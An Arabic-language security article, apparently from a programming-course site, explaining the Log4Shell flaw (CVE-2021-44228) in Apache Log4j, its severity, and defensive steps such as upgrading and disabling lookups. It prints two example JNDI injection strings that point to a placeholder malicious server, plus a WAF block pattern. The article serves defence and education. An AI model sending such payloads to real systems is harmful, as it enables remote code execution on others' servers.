ثغرة أمنية حرجة في مكتبة Java Log4j تهدد ملايين الخوادم

مدرب بايثون أونلاين للمبتدئين

تعلم Python بسهولة دون إرهاق نظري. حل مهام عملية مع التحقق التلقائي واكتب الكود مباشرة في المتصفح.

ابدأ الدورة

ثغرة أمنية حرجة في مكتبة Java الشهيرة Log4j: ما يجب أن يعرفه كل مطور



في 10 ديسمبر 2021، حدث في مجتمع مطوري Java ما وصفه خبراء الأمن السيبراني بأنه "أحد أخطر التهديدات في العقد". يتعلق الأمر بالثغرة الأمنية الحرجة CVE-2021-44228 في مكتبة Apache Log4j - واحدة من أشهر أدوات تسجيل الأحداث (logging) في تطبيقات Java. تسمح هذه الثغرة للمهاجم بتنفيذ كود عشوائي عن بُعد (Remote Code Execution, RCE) على الخادم، باستخدام سطر واحد فقط في حقل الإدخال.



ما هي Log4j ولماذا هي مهمة؟

Log4j هي مكتبة مفتوحة المصدر تُستخدم في جميع مشاريع Java الكبيرة تقريبًا: من الأنظمة المؤسسية إلى الخدمات السحابية (Amazon, Apple, Twitter, Minecraft وآلاف غيرها). المكتبة مسؤولة عن تسجيل الأحداث (السجلات) - الأخطاء والتحذيرات ومعلومات التصحيح. تؤثر الثغرة على إصدارات Log4j من 2.0 إلى 2.14.1.



كيف تعمل الهجمة؟

المشكلة تكمن في آلية JNDI (Java Naming and Directory Interface) التي تستخدمها Log4j لاستبدال القيم من مصادر خارجية. يمكن للمهاجم إرسال طلب HTTP بسطر ضار مثل:

  • ${jndi:ldap://خادم-خبيث/استغلال}
  • ${jndi:rmi://خادم-خبيث/استغلال}

إذا قام التطبيق بتسجيل محتوى هذا الطلب (مثل User-Agent أو عنوان)، فإن Log4j ينفذ طلب JNDI إلى الخادم المحدد. ردًا على ذلك، يمكن للخادم تحميل فئة Java ضارة على الجهاز المستهدف، مما يمنح المخترق سيطرة كاملة على الخادم.



لماذا تُعتبر الثغرة حرجة؟

منح الخبراء الثغرة أعلى تصنيف خطر - 10.0 من 10.0 وفقًا لمقياس CVSS. الأسباب:

  • سهولة الاستغلال - لا تتطلب مصادقة أو مهارات خاصة.
  • الانتشار الواسع - تُستخدم Log4j في ملايين التطبيقات.
  • صعوبة الاكتشاف - قد تظل الهجمة غير مرئية، لأنها لا تترك آثارًا واضحة في السجلات القياسية.


كيف تحمي نفسك؟

يجب على المطورين والمسؤولين اتخاذ الخطوات التالية فورًا:

  • تحديث Log4j إلى الإصدار 2.15.0 أو أعلى - التصحيح يمنع آلية استبدال JNDI افتراضيًا.
  • تعطيل JNDI مؤقتًا - إذا كان التحديث غير ممكن، أضف معامل JVM: -Dlog4j2.formatMsgNoLookups=true.
  • فحص التبعيات - العديد من المكتبات (Spring Boot, Struts, Hibernate) تتضمن Log4j كتبعية غير مباشرة. استخدم Maven/Gradle للبحث عن الإصدارات القديمة.
  • مراقبة حركة المرور - قم بإعداد قواعد WAF (Web Application Firewall) لحظر الطلبات التي تحتوي على ${jndi:.


الخلاصة

الثغرة في Log4j هي تذكير بأن حتى أكثر المكونات اختبارًا قد تحتوي على أخطاء قاتلة. بالنسبة لمجتمع Java، كان هذا الحدث سببًا لإعادة النظر في نهج إدارة التبعيات وأمن سلسلة توريد البرمجيات. إذا كنت تستخدم Java في مشاريعك، تحقق من إصدار Log4j

المكتبات الموصى بها